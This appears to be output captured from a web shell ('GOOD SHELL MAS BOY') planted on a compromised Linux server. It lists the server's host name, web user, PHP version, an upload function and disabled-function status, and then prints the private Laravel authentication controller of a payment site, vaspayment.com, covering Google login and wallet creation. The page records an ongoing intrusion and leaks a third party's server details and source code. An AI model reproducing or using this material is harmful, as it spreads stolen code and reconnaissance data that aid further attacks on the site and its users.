GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/vaspayment.com/app/Http/Controllers/AuthController.php
<?php

namespace App\Http\Controllers;

use App\Models\Blog;
use App\Models\User;
use App\Models\Wallet;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Auth;
use Laravel\Socialite\Facades\Socialite;

class AuthController extends Controller
{
    public function home()
    {
        // header('Cache-Control: public, max-age=604800');
        $blogs = Blog::latest()->limit(2)->get();
        return view('welcome', compact('blogs'));
    }

    public function login()
    {
        return view("auth.login");
    }
    public function register()
    {
        return view("auth.register");
    }
    public function privacy()
    {
        return view("auth.privacy");
    }
    public function terms()
    {
        return view("auth.terms");
    }
    public function redirectToGoogle()
    {
        
        session()->put('url.intended', url()->previous());
        return Socialite::driver('google')->redirect();
    }

    public function handleGoogleCallback()
    {
        $googleUser = Socialite::driver('google')->user();

        $userFullName = $googleUser->getName();
        $nameParts = explode(' ', $userFullName, 2);
        $firstName = $nameParts[0];
        $lastName = $nameParts[1] ?? '';

        $geneNumber = '23481' . str_pad(mt_rand(0, 99999999), 8, '0', STR_PAD_LEFT);
        $walletId = substr($geneNumber, 5);

        // Check if the user exists by email
        $existingUser = User::where('email', $googleUser->getEmail())->first();

        if ($existingUser) {
            // If user exists, update Google ID if not already set and authenticate
            if (!$existingUser->google_id) {
                $existingUser->update(['google_id' => $googleUser->getId()]);
            }
            $user = $existingUser;
        } else {
            // Create new user and wallet if user does not exist
            $user = User::create([
                'google_id' => $googleUser->getId(),
                'name' => $firstName,
                'lastname' => $lastName,
                'phone' => $geneNumber,
                'email' => $googleUser->getEmail(),
                'email_verified_at' => now(),
                'status' => '0',
                'profile_photo_path' => $googleUser->getAvatar(),
            ]);

            Wallet::create([
                'user_id' => $user->id,
                'wallet_id' => $walletId,
                'commission' => "0.00",
                'balance' => "0.00",
            ]);
        }

        // Log the user in
        Auth::login($user, true);
        session()->regenerate();

        return redirect()->away(session()->get('url.intended'));
    }
}